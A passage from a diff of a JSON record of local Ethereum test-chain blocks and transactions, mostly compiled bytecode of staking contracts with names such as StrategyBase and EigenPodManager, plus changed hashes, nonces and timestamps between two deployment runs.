460006108306103e883611ab0565b905060006103e861083f6112a3565b6108499190611ab0565b905060006108578783611ac3565b9050806108648489611ad6565b61086e9190611aed565b9550856000036108d75760405162461bcd60e51b815260206004820152602e60248201527f5374726174656779426173652e6465706f7369743a206e65775368617265732060448201526d63616e6e6f74206265207a65726f60901b6064820152608401610410565b6108e18685611ab0565b603355505050505092915050565b600054610100900460ff161580801561090f5750600054600160ff909116105b806109295750303b158015610929575060005460ff166001145b6109455760405162461bcd60e51b81526004016104109061197b565b6000805460ff191660011790558015610968576000805461ff0019166101001790555b610972838361102b565b80156109b8576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b505050565b60006109cb6102e783610b21565b92915050565b60005460405163237dfb4760e11b8152336004820152620100009091046001600160a01b0316906346fbf68e90602401602060405180830381865afa158015610a1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a429190611a30565b610a5e5760405162461bcd60e51b815260040161041090611a52565b600019600181905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b6000806103e8603354610ab09190611ab0565b905060006103e8610abf6112a3565b610ac99190611ab0565b905081610ad68583611ad6565b610ae09190611aed565b949350505050565b60006109cb82610d7e565b60006109cb6103a283610b21565b60606040518060800160405280604d8152602001611b45604d9139905090565b604051633d3f06c960e11b81526001600160a01b0382811660048301523060248301526000917f000000000000000000000000000000000000000000000000000000000000000090911690637a7e0d9290604401602060405180830381865afa158015610b92573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cb9190611b0f565b60018054600290811603610c085760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610410565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610c805760405162461bcd60e51b815260206004820181905260248201527f5374726174656779426173652e6f6e6c7953747261746567794d616e616765726044820152606401610410565b610c8b848484611315565b60335480831115610d1a5760405162461bcd60e51b815260206004820152604d60248201527f5374726174656779426173652e77697468647261773a20616d6f756e7453686160448201527f726573206d757374206265206c657373207468616e206f7220657175616c207460648201526c6f20746f74616c53686172657360981b608482015260a401610410565b6000610d286103e883611ab0565b905060006103e8610d376112a3565b610d419190611ab0565b9050600082610d508784611ad6565b610d5a9190611aed565b9050610d668685611ac3565b603355610d74888883611398565b5050505050505050565b6000806103e8603354610d919190611ab0565b905060006103e8610da06112a3565b610daa9190611ab0565b905080610ad68386611ad6565b60006109cb82610a9d565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e3991906119c9565b6001600160a01b0316336001600160a01b031614610e695760405162461bcd60e51b8152600401610410906119e6565b600154198119600154191614610ee75760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610410565b600181905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c9060200161073e565b60645460408051918252602082018490527ff97ed4e083acac67830025ecbc756d8fe847cdbdca4cee3fe1e128e98b54ecb5910160405180910390a160655460408051918252602082018390527f6ab181e0440bfbf4bacdf2e99674735ce6638005490688c5f994f5399353e452910160405180910390a1808211156110205760405162461bcd60e51b815260206004820152604b60248201527f53747261746567794261736554564c4c696d6974732e5f73657454564c4c696d60448201527f6974733a206d61785065724465706f7369742065786365656473206d6178546f60648201526a74616c4465706f7369747360a81b608482015260a401610410565b606491909155606555565b600054610100900460ff166110965760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201526a6e697469616c697a696e6760a81b6064820152608401610410565b603280546001600160a01b0319166001600160a01b0384161790556106018160006113ac565b6001600160a01b03811661114a5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610410565b600054604080516001600160a01b03620100009093048316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1600080546001600160a01b03909216620100000262010000600160b01b0319909216919091179055565b60645481111561122b5760405162461bcd60e51b815260206004820152602f60248201527f53747261746567794261736554564c4c696d6974733a206d617820706572206460448201526e195c1bdcda5d08195e18d959591959608a1b6064820152608401610410565b6065546112366112a3565b11156112995760405162461bcd60e51b815260206004820152602c60248201527f53747261746567794261736554564c4c696d6974733a206d6178206465706f7360448201526b1a5d1cc8195e18d95959195960a21b6064820152608401610410565b6106018282611498565b6032546040516370a0823160e01b81523060048201526000916001600160a01b0316906370a0823190602401602060405180830381865afa1580156112ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113109190611b0f565b905090565b6032546001600160a01b038381169116146109b85760405162461bcd60e51b815260206004820152603b60248201527f5374726174656779426173652e77697468647261773a2043616e206f6e6c792060448201527f77697468647261772074686520737472617465677920746f6b656e00000000006064820152608401610410565b6109b86001600160a01b0383168483611514565b6000546201000090046001600160a01b03161580156113d357506001600160a01b03821615155b6114555760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610410565b600181905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2610601826110bc565b6032546001600160a01b038381169116146106015760405162461bcd60e51b815260206004820152603660248201527f5374726174656779426173652e6465706f7369743a2043616e206f6e6c79206460448201527532b837b9b4ba103ab73232b9363cb4b733aa37b5b2b760511b6064820152608401610410565b604080516001600160a01b03848116602483015260448083018590528351808403909101815260649092018352602080830180516001600160e01b031663a9059cbb60e01b17905283518085019094528084527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564908401526109b8928692916000916115a4918516908490611621565b8051909150156109b857808060200190518101906115c29190611a30565b6109b85760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610410565b6060611630848460008561163a565b90505b9392505050565b60608247101561169b5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610410565b6001600160a01b0385163b6116f25760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610410565b600080866001600160a01b0316858760405161170e9190611b28565b60006040518083038185875af1925050503d806000811461174b576040519150601f19603f3d011682016040523d82523d6000602084013e611750565b606091505b509150915061176082828661176b565b979650505050505050565b6060831561177a575081611633565b82511561178a5782518084602001fd5b8160405162461bcd60e51b81526004016104109190611907565b6001600160a01b038116811461054d57600080fd5b600080600080608085870312156117cf57600080fd5b843593506020850135925060408501356117e8816117a4565b915060608501356117f8816117a4565b939692955090935050565b60006020828403121561181557600080fd5b8135611633816117a4565b6000806040838503121561183357600080fd5b50508035926020909101359150565b60006020828403121561185457600080fd5b5035919050565b6000806040838503121561186e57600080fd5b8235611879816117a4565b946020939093013593505050565b6000806040838503121561189a57600080fd5b82356118a5816117a4565b915060208301356118b5816117a4565b809150509250929050565b6000602082840312156118d257600080fd5b813560ff8116811461163357600080fd5b60005b838110156118fe5781810151838201526020016118e6565b50506000910152565b60208152600082518060208401526119268160408501602087016118e3565b601f01601f19169190910160400192915050565b60008060006060848603121561194f57600080fd5b833561195a816117a4565b9250602084013561196a816117a4565b929592945050506040919091013590565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b6000602082840312156119db57600080fd5b8151611633816117a4565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215611a4257600080fd5b8151801515811461163357600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b808201808211156109cb576109cb611a9a565b818103818111156109cb576109cb611a9a565b80820281158282048414176109cb576109cb611a9a565b600082611b0a57634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215611b2157600080fd5b5051919050565b60008251611b3a8184602087016118e3565b919091019291505056fe4261736520537472617465677920696d706c656d656e746174696f6e20746f20696e68657269742066726f6d20666f72206d6f726520636f6d706c657820696d706c656d656e746174696f6e73a264697066735822122021b62fe5b5bce3c7900ce940fa79726154511331bde65b6124359a94d004524164736f6c634300081c0033000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c9", - "r": "0xf7a878fbc1afbcbd6736894bc74b543ba0b809f420fc3bfcbb10de19cb7ad6e5", - "s": "0x9e3e0e88bdae90d5615bd7af7aff148b53942f1c8ac08bb5f90fed15c5dc4aa", - "yParity": "0x1", - "hash": "0x52313b68ddd22abd2c1d0f4320f5687a41e1eacadced37c5e339989e6724e408" + "hash": "0xdbeaad0376d936df8f5bb54707e0b78789158df3505b3401a68e8d7b418ccad3" } }, "impersonated_sender": null @@ -1347,22 +1205,48 @@ }, { "header": { - "parentHash": "0x2c6ee5398f79fd95878301d23352454202bf3c51130435820fde873a683e4f76", + "parentHash": "0x0000000000000000000000000000000000000000000000000000000000000000", "ommersHash": "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", "beneficiary": "0x0000000000000000000000000000000000000000", - "stateRoot": "0xdcc73c061df5ea642abcae8357d458e444f47fb6cb86a53db3f61fde87c07179", - "transactionsRoot": "0xf713d5bb1159eb9c41b0ea07f5a0c3df8f1ea3c4d6079d7eddf237c83b9601cf", - "receiptsRoot": "0xb12a47d135f48ffa524c6a54f2b1b66742e30f6d85e10126f70dd8f40b30644f", + "stateRoot": "0x0000000000000000000000000000000000000000000000000000000000000000", + "transactionsRoot": "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", + "receiptsRoot": "0x0000000000000000000000000000000000000000000000000000000000000000", "withdrawalsRoot": "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", - "logsBloom": "0x00000000000000000000000040000000400004000000000000000000000000000400000000000000000000000000000000000000000100100004000000000000000000000000000000000400000002000000000000000000000000000000040000000000000000000000000004800000000004000000000000000000000000000000000300000002000040000000000400000000000080000000000000000000000000000000000000000000000400000000000000000000000000000000000000040020480000000000000000040000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000400000", + "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "difficulty": "0x0", + "number": "0x0", + "gasLimit": "0x1c9c380", + "gasUsed": "0x0", + "timestamp": "0x672a8e16", + "mixHash": "0x0000000000000000000000000000000000000000000000000000000000000000", + "nonce": "0x0000000000000000", + "baseFeePerGas": "0x3b9aca00", + "blobGasUsed": "0x0", + "excessBlobGas": "0x0", + "parentBeaconBlockRoot": "0x0000000000000000000000000000000000000000000000000000000000000000", + "extraData": "0x" + }, + "transactions": [], + "ommers": [] + }, + { + "header": { + "parentHash": "0x3098355f0f6dd62568e17628ad30031db81233a310f9b72ec667e97ae80479b5", + "ommersHash": "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", + "beneficiary": "0x0000000000000000000000000000000000000000", + "stateRoot": "0x4e5be95efd4566e0b268f71a3cb2f550648116e6c880d65bdfaa36ed7dd0a679", + "transactionsRoot": "0x9e17f4e91d109ee558e254fcb31c56fa60d69632e4b472879c3e83637d61b963", + "receiptsRoot": "0x6193b1bab62c50d49e00132c6500726ec7726b982dc46349fe52157303fb9261", + "withdrawalsRoot": "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", + "logsBloom": "0x00000000000000000000000040000000400000000000000000800000000000000000000000000000000000000000000000000000000000100000000000000000000000400080000000000400000002000001000240000000000000000000000000000000020000000000000100800800000004000000000000000000000000400000000100000000000000000000000000000000000080000000000000000000000000000000000000000000000400000000000000000000000000000000000000002020400000200000000000040000000000002008000000000001000020000000000000000000000000000000000000000000000000000000000000400000", "difficulty": "0x0", "number": "0x13", "gasLimit": "0x1c9c380", - "gasUsed": "0x22aff", - "timestamp": "0x67212bff", + "gasUsed": "0x2247c", + "timestamp": "0x672a8e17", "mixHash": "0x0000000000000000000000000000000000000000000000000000000000000000", "nonce": "0x0000000000000000", - "baseFeePerGas": "0x7437b30", + "baseFeePerGas": "0x710d9c9", "blobGasUsed": "0x0", "excessBlobGas": "0x0", "parentBeaconBlockRoot": "0x0000000000000000000000000000000000000000000000000000000000000000", @@ -1373,18 +1257,18 @@ "transaction": { "EIP1559": { "chainId": "0x7a69", - "nonce": "0x1d", - "gas": "0x2fe95", + "nonce": "0x16", + "gas": "0x2f597", "maxFeePerGas": "0x77359401", "maxPriorityFeePerGas": "0x1", "to": "0x5fbdb2315678afecb367f032d93f642f64180aa3", "value": "0x0", "accessList": [], - "input": "0x9623609d000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d0000000000000000000000007a2088a1bfc9d81c55368ae168c2c02570cb814f00000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000084019e27290000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000003635c9adc5dea0000000000000000000000000000009635f643e140090a9a8dcd712ed6285858cebef000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f051200000000000000000000000000000000000000000000000000000000", - "r": "0x179a240390eccd825e3af3889b83756d8100c03c22f680a43c09ab7c3dbeb233", - "s": "0x2b8e64c68d4e5e5ba82859eca5e1635f1087f352417361305ac60d3f4057143d", + "input": "0x9623609d0000000000000000000000005fc8d32690cc91d4c39d9d3abcbd16989f8757070000000000000000000000009a676e781a523b5d0c0e43731313a708cb607508000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000641794bb3c000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "r": "0x81984eadf6fa11b2fe04df40da0ededf673dc4ebd2f43a8f2dbb921b42352465", + "s": "0x203bdf4c4e3f2d641859308083f40e6e0a654b04aecc27dcaf0cdb166ff1e5f8", "yParity": "0x1", - "hash": "0x8d7d689b5e7498d26362ee52308da636bcbbe413fa03ca37f136aa3bcb8cda91" + "hash": "0xe405e21ba26d4a3b0a72c85452048c4f59cb45eff93e20f4008c71fda12766b8" } }, "impersonated_sender": null @@ -1394,22 +1278,22 @@ }, { "header": { - "parentHash": "0xfda166a7086f0e683b1e8e4badba566668eff15a39ce6f197edab332f603ab2d", + "parentHash": "0x4c2e7f6f7d3b694b58c1a6516aa7554d93d7566cc27e498ecf1c3c0d76d5d5b6", "ommersHash": "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", "beneficiary": "0x0000000000000000000000000000000000000000", - "stateRoot": "0x0fe6a7db85faa5ca97b47360fd8ec81a5d4cc40a76ed237ba65afdb815909b27", - "transactionsRoot": "0xa36308a10224af412127915c35aa1597dc1fadda163fe4aaf48ad95cac948e28", - "receiptsRoot": "0xa15f3c0718a73524ac2bb145845e4128a9cf5d071ce329b3b52e4b31e8ff003c", + "stateRoot": "0xf9c4b4bd6181f938f09fe61081e4a386e91eda85b80831b2e7e621041c40d619", + "transactionsRoot": "0xcb2bfe808fc3f239f38e8730befdfa86beddf844230334d418f2af81a6b5f8ea", + "receiptsRoot": "0x6e5dc21a9d6c49016140a9b0a1699f850dc17b33ae2c1604510b3f4e5b7a3984", "withdrawalsRoot": "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", - "logsBloom": "0x00000000000001000000000000000000000000000000000000000000000000000000000020000800000000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000008000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000", + "logsBloom": "0x00000000100000000000000000000000000000000040000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001800000000000000000000000000000000000020000000000000100000800000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000002000000000000000000020000000000000000000000000000000000000000000000000000000000000000000", "difficulty": "0x0", - "number": "0xb", + "number": "0x9", "gasLimit": "0x1c9c380", - "gasUsed": "0x45626e", - "timestamp": "0x67212bff", + "gasUsed": "0x4672a", + "timestamp": "0x672a8e17", "mixHash": "0x0000000000000000000000000000000000000000000000000000000000000000", "nonce": "0x0000000000000000", - "baseFeePerGas": "0x139b0233", + "baseFeePerGas": "0x1681fc0c", "blobGasUsed": "0x0", "excessBlobGas": "0x0", "parentBeaconBlockRoot": "0x0000000000000000000000000000000000000000000000000000000000000000", @@ -1420,36 +1304,203 @@ "transaction": { "EIP1559": { "chainId": "0x7a69", - "nonce": "0x11", - "gas": "0x38eed1", + "nonce": "0xb", + "gas": "0x5b8ea", "maxFeePerGas": "0x77359401", "maxPriorityFeePerGas": "0x1", "value": "0x0", "accessList": [], - "input": "0x61012060405234801561001157600080fd5b5060405161349738038061349783398101604081905261003091610140565b6001600160a01b0380861660805280851660a05280841660c05280831660e05281166101005261005e610068565b50505050506101b5565b600054610100900460ff16156100d45760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff9081161015610126576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6001600160a01b038116811461013d57600080fd5b50565b600080600080600060a0868803121561015857600080fd5b855161016381610128565b602087015190955061017481610128565b604087015190945061018581610128565b606087015190935061019681610128565b60808701519092506101a781610128565b809150509295509295909350565b60805160a05160c05160e0516101005161326d61022a60003960008181610636015281816106e001528181610b0e015281816113ea0152818161187e015261196e01526000610542015260006102e601526000818161027a01528181611369015261203c01526000610414015261326d6000f3fe6080604052600436106101ee5760003560e01c80638da5cb5b1161010d578063c052bd61116100a0578063d1c64cc91161006f578063d1c64cc914610604578063ea4d3c9b14610624578063f2fde38b14610658578063f6848d2414610678578063fabc1cbc146106b357600080fd5b8063c052bd6114610584578063c1de3aef146105a4578063c2c51c40146105c4578063cf756fdf146105e457600080fd5b8063a38406a3116100dc578063a38406a3146104fa578063a6a509be1461051a578063b134427114610530578063beffbb891461056457600080fd5b80638da5cb5b1461046b5780639104c319146104895780639b4e4634146104b15780639ba06275146104c457600080fd5b8063595c6a6711610185578063715018a611610154578063715018a6146103ed57806374cdd7981461040257806384d8106214610436578063886f11951461044b57600080fd5b8063595c6a67146103565780635ac86ab71461036b5780635c975abb146103ab57806360f4062b146103c057600080fd5b8063387b1300116101c1578063387b1300146102b457806339b70e38146102d457806344e71c8014610308578063463db0381461033657600080fd5b80630e81073c146101f357806310d67a2f14610226578063136439dd14610248578063292b7b2b14610268575b600080fd5b3480156101ff57600080fd5b5061021361020e36600461240b565b6106d3565b6040519081526020015b60405180910390f35b34801561023257600080fd5b50610246610241366004612437565b610911565b005b34801561025457600080fd5b50610246610263366004612454565b6109c4565b34801561027457600080fd5b5061029c7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b03909116815260200161021d565b3480156102c057600080fd5b506102466102cf36600461246d565b610b03565b3480156102e057600080fd5b5061029c7f000000000000000000000000000000000000000000000000000000000000000081565b34801561031457600080fd5b5061031d610ea1565b60405167ffffffffffffffff909116815260200161021d565b34801561034257600080fd5b506102466103513660046124ae565b610ecc565b34801561036257600080fd5b5061024661105b565b34801561037757600080fd5b5061039b6103863660046124d8565b606654600160ff9092169190911b9081161490565b604051901515815260200161021d565b3480156103b757600080fd5b50606654610213565b3480156103cc57600080fd5b506102136103db366004612437565b609b6020526000908152604090205481565b3480156103f957600080fd5b50610246611122565b34801561040e57600080fd5b5061029c7f000000000000000000000000000000000000000000000000000000000000000081565b34801561044257600080fd5b5061029c611136565b34801561045757600080fd5b5060655461029c906001600160a01b031681565b34801561047757600080fd5b506033546001600160a01b031661029c565b34801561049557600080fd5b5061029c73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac081565b6102466104bf366004612544565b61121f565b3480156104d057600080fd5b5061029c6104df366004612437565b6098602052600090815260409020546001600160a01b031681565b34801561050657600080fd5b5061029c610515366004612437565b61130d565b34801561052657600080fd5b5061021360995481565b34801561053c57600080fd5b5061029c7f000000000000000000000000000000000000000000000000000000000000000081565b34801561057057600080fd5b5061024661057f36600461240b565b6113df565b34801561059057600080fd5b5060975461029c906001600160a01b031681565b3480156105b057600080fd5b506102466105bf366004612437565b6115f6565b3480156105d057600080fd5b506102466105df36600461240b565b611607565b3480156105f057600080fd5b506102466105ff3660046125bd565b611a09565b34801561061057600080fd5b5061021361061f3660046124ae565b611b32565b34801561063057600080fd5b5061029c7f000000000000000000000000000000000000000000000000000000000000000081565b34801561066457600080fd5b50610246610673366004612437565b611c3d565b34801561068457600080fd5b5061039b610693366004612437565b6001600160a01b0390811660009081526098602052604090205416151590565b3480156106bf57600080fd5b506102466106ce366004612454565b611cb3565b6000336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146107265760405162461bcd60e51b815260040161071d9061260e565b60405180910390fd5b6001600160a01b0383166107a25760405162461bcd60e51b815260206004820152603a60248201527f456967656e506f644d616e616765722e6164645368617265733a20706f644f7760448201527f6e65722063616e6e6f74206265207a65726f2061646472657373000000000000606482015260840161071d565b60008212156108105760405162461bcd60e51b815260206004820152603460248201527f456967656e506f644d616e616765722e6164645368617265733a207368617265604482015273732063616e6e6f74206265206e6567617469766560601b606482015260840161071d565b61081e633b9aca0083612682565b156108915760405162461bcd60e51b815260206004820152603d60248201527f456967656e506f644d616e616765722e6164645368617265733a20736861726560448201527f73206d75737420626520612077686f6c65204777656920616d6f756e74000000606482015260840161071d565b6001600160a01b0383166000908152609b6020526040812054906108b584836126ac565b6001600160a01b0386166000818152609b60205260409081902083905551919250906000805160206131f8833981519152906108f49087815260200190565b60405180910390a26109068282611e0f565b925050505b92915050565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610964573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098891906126d4565b6001600160a01b0316336001600160a01b0316146109b85760405162461bcd60e51b815260040161071d906126f1565b6109c181611e51565b50565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610a0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a30919061273b565b610a4c5760405162461bcd60e51b815260040161071d9061275d565b60665481811614610ac55760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c6974790000000000000000606482015260840161071d565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610b4b5760405162461bcd60e51b815260040161071d9061260e565b6001600160a01b038316610bc55760405162461bcd60e51b8152602060048201526047602482015260008051602061321883398151915260448201527f546f6b656e733a20706f644f776e65722063616e6e6f74206265207a65726f206064820152666164647265737360c81b608482015260a40161071d565b6001600160a01b038216610c425760405162461bcd60e51b815260206004820152604a602482015260008051602061321883398151915260448201527f546f6b656e733a2064657374696e6174696f6e2063616e6e6f74206265207a65606482015269726f206164647265737360b01b608482015260a40161071d565b6000811215610cb15760405162461bcd60e51b8152602060048201526041602482015260008051602061321883398151915260448201527f546f6b656e733a207368617265732063616e6e6f74206265206e6567617469766064820152606560f81b608482015260a40161071d565b610cbf633b9aca0082612682565b15610d335760405162461bcd60e51b815260206004820152604a602482015260008051602061321883398151915260448201527f546f6b656e733a20736861726573206d75737420626520612077686f6c6520476064820152691dd95a48185b5bdd5b9d60b21b608482015260a40161071d565b6001600160a01b0383166000908152609b602052604081205490811215610e26576000610d5f826127a5565b905080831115610dc4576001600160a01b0385166000908152609b6020526040812055610d8c81846127c1565b9250846001600160a01b03166000805160206131f883398151915282604051610db791815260200190565b60405180910390a2610e24565b6001600160a01b0385166000908152609b602052604081208054859290610dec9084906126ac565b90915550506040518381526001600160a01b038616906000805160206131f88339815191529060200160405180910390a25050505050565b505b6001600160a01b03848116600090815260986020526040908190205490516362483a2160e11b815285831660048201526024810185905291169063c490744290604401600060405180830381600087803b158015610e8357600080fd5b505af1158015610e97573d6000803e3d6000fd5b5050505050505050565b609c5460009067ffffffffffffffff16808203610ec75767ffffffffffffffff91505090565b919050565b610ed4611f48565b8067ffffffffffffffff16600003610f695760405162461bcd60e51b815260206004820152604c60248201527f456967656e506f644d616e616765722e73657444656e6562466f726b54696d6560448201527f7374616d703a2063616e6e6f7420736574206e657744656e6562466f726b546960648201526b06d657374616d7020746f20360a41b608482015260a40161071d565b609c5467ffffffffffffffff16156110055760405162461bcd60e51b815260206004820152605360248201527f456967656e506f644d616e616765722e73657444656e6562466f726b54696d6560448201527f7374616d703a2063616e6e6f74207365742064656e6562466f726b54696d657360648201527274616d70206d6f7265207468616e206f6e636560681b608482015260a40161071d565b609c805467ffffffffffffffff191667ffffffffffffffff83169081179091556040519081527f19200b6fdad58f91b2f496b0c444fc4be3eff74a7e24b07770e04a7137bfd9db9060200160405180910390a150565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156110a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c7919061273b565b6110e35760405162461bcd60e51b815260040161071d9061275d565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b61112a611f48565b6111346000611fa2565b565b606654600090819060019081160361118c5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161071d565b336000908152609860205260409020546001600160a01b03161561120e5760405162461bcd60e51b815260206004820152603360248201527f456967656e506f644d616e616765722e637265617465506f643a2053656e64656044820152721c88185b1c9958591e481a185cc818481c1bd9606a1b606482015260840161071d565b6000611218611ff4565b9250505090565b6066546000906001908116036112735760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161071d565b336000908152609860205260409020546001600160a01b03168061129c57611299611ff4565b90505b6040516326d3918d60e21b81526001600160a01b03821690639b4e46349034906112d2908b908b908b908b908b906004016127fd565b6000604051808303818588803b1580156112eb57600080fd5b505af11580156112ff573d6000803e3d6000fd5b505050505050505050505050565b6001600160a01b038082166000908152609860205260408120549091168061090b576113d8836001600160a01b031660001b60405180610940016040528061090e81526020016128ea61090e9139604080516001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000166020820152808201919091526000606082015260800160408051601f19818403018152908290526113bd9291602001612867565b60405160208183030381529060405280519060200120612159565b9392505050565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146114275760405162461bcd60e51b815260040161071d9061260e565b600081121561149e5760405162461bcd60e51b815260206004820152603760248201527f456967656e506f644d616e616765722e72656d6f76655368617265733a20736860448201527f617265732063616e6e6f74206265206e65676174697665000000000000000000606482015260840161071d565b6114ac633b9aca0082612682565b15611521576040805162461bcd60e51b81526020600482015260248101919091527f456967656e506f644d616e616765722e72656d6f76655368617265733a20736860448201527f61726573206d75737420626520612077686f6c65204777656920616d6f756e74606482015260840161071d565b6001600160a01b0382166000908152609b602052604081205461154590839061287c565b905060008112156115d65760405162461bcd60e51b815260206004820152604f60248201527f456967656e506f644d616e616765722e72656d6f76655368617265733a20636160448201527f6e6e6f7420726573756c7420696e20706f64206f776e657220686176696e672060648201526e6e656761746976652073686172657360881b608482015260a40161071d565b6001600160a01b039092166000908152609b602052604090209190915550565b6115fe611f48565b6109c1816121b5565b6001600160a01b0380831660009081526098602052604090205483911633146116825760405162461bcd60e51b815260206004820152602760248201527f456967656e506f644d616e616765722e6f6e6c79456967656e506f643a206e6f6044820152661d0818481c1bd960ca1b606482015260840161071d565b600260c954036116d45760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015260640161071d565b600260c9556001600160a01b0383166117705760405162461bcd60e51b815260206004820152605260248201527f456967656e506f644d616e616765722e7265636f7264426561636f6e4368616960448201527f6e45544842616c616e63655570646174653a20706f644f776e65722063616e6e6064820152716f74206265207a65726f206164647265737360701b608482015260a40161071d565b61177e633b9aca00836128a3565b156118175760405162461bcd60e51b815260206004820152605a60248201527f456967656e506f644d616e616765722e7265636f7264426561636f6e4368616960448201527f6e45544842616c616e63655570646174653a2073686172657344656c7461206d60648201527f75737420626520612077686f6c65204777656920616d6f756e74000000000000608482015260a